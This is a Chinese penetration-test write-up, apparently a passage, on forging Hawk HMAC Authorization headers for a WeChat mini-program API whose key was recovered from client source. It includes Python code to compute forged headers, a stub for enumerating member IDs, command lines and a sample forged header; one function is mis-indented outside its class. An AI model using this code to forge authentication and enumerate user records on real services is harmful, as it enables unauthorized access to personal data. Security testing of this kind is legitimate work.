记一次微信小程序 Authorization 头伪造与渗透测试过程

关键发现：Hawk 认证的密钥是由 xxxxApiKey 和 xxxxApiPassword 拼接而成的！

二、Hawk 认证机制分析

1. Hawk 认证原理

Hawk 是一种基于 HMAC 的 HTTP 认证机制，其核心原理是：

1. 客户端使用密钥对请求参数进行哈希计算，生成 MAC
2. 服务器使用相同的密钥和参数重新计算 MAC
3. 比较 MAC 是否一致，以验证请求的合法性

2. 认证参数计算

通过分析源码，我确定了 MAC 计算的关键步骤：

• 时间戳（ts）：当前 Unix 时间戳
• 随机字符串（nonce）：32 位十六进制字符串
• 规范化字符串：包含请求方法、URL、主机等信息
• HMAC-SHA256：使用拼接后的密钥对规范化字符串进行哈希

三、编写脚本实现

1. 核心类设计

我创建了 HawkAuth 类来实现 Hawk 认证头的生成：

class HawkAuth:
    def __init__(self, id, key, algorithm="sha256"):
        self.id = id
        self.key = key
        self.algorithm = algorithm
    
    def generate_nonce(self):
        """生成 32 位十六进制的 nonce，与原始 newGUID() 函数一致"""
        characters = string.hexdigits.lower()
        return ''.join(random.choice(characters) for _ in range(32))
    
    def generate_normalized_string(self, timestamp, nonce, method, resource, host, port):
        parts = [
            f"hawk.1.header",
            str(timestamp),
            nonce,
            method.upper(),
            resource,
            host.lower(),
            str(port),
            "",
            ""
        ]
        return "\n".join(parts) + "\n"
    
    def calculate_mac(self, normalized_string):
        if self.algorithm == "sha256":
            h = hmac.new(self.key.encode('utf-8'), normalized_string.encode('utf-8'), hashlib.sha256)
        else:
            h = hmac.new(self.key.encode('utf-8'), normalized_string.encode('utf-8'), hashlib.sha1)
        return base64.b64encode(h.digest()).decode('utf-8')

def generate_header(self, url, method):
    parsed_url = urlparse(url)
    host = parsed_url.netloc.split(':')[0]
    port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
    
    path = parsed_url.path
    query = parsed_url.query
    
    timestamp = int(time.time())
    nonce = self.generate_nonce()
    
    resource = path + ('?' + query if query else '')
    
    normalized_string = self.generate_normalized_string(timestamp, nonce, method, resource, host, port)
    mac = self.calculate_mac(normalized_string)
    
    header = f'Hawk id="{self.id}",ts="{timestamp}",nonce="{nonce}",mac="{mac}"'
    
    return header, timestamp, nonce

def enumerate_personalid(base_url, method, hawk_auth, base_personalid, direction, range_val, cookie=None, full_range=False):
    # 生成待测试的 ID 列表
    # 发送请求并记录结果
    # 写入日志文件

python hawk_forge.py -p 147248 -d back -r 3

def write_to_log(data):
    """将成功结果写入ru.log文件"""
    try:
        with open('ru.log', 'a', encoding='utf-8') as f:
            timestamp = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
            log_entry = {
                'timestamp': timestamp,
                'data': data
            }
            f.write(json.dumps(log_entry, ensure_ascii=False) + '\n')
    except Exception as e:
        print(f"  写入日志失败: {str(e)}")

python hawk_header_generator.py -u "https://api.xxxxx.com/api/xxxxx/InfoByid?memberid=147248"

Authorization: Hawk id="wasx",ts="1772097991",nonce="bfdba17af30dda3abcbd6f3a2fe848c3",mac="XIKYWrQ+lwREBQKyjmeNzxUP67xq04tkms/tEX0Yjb8="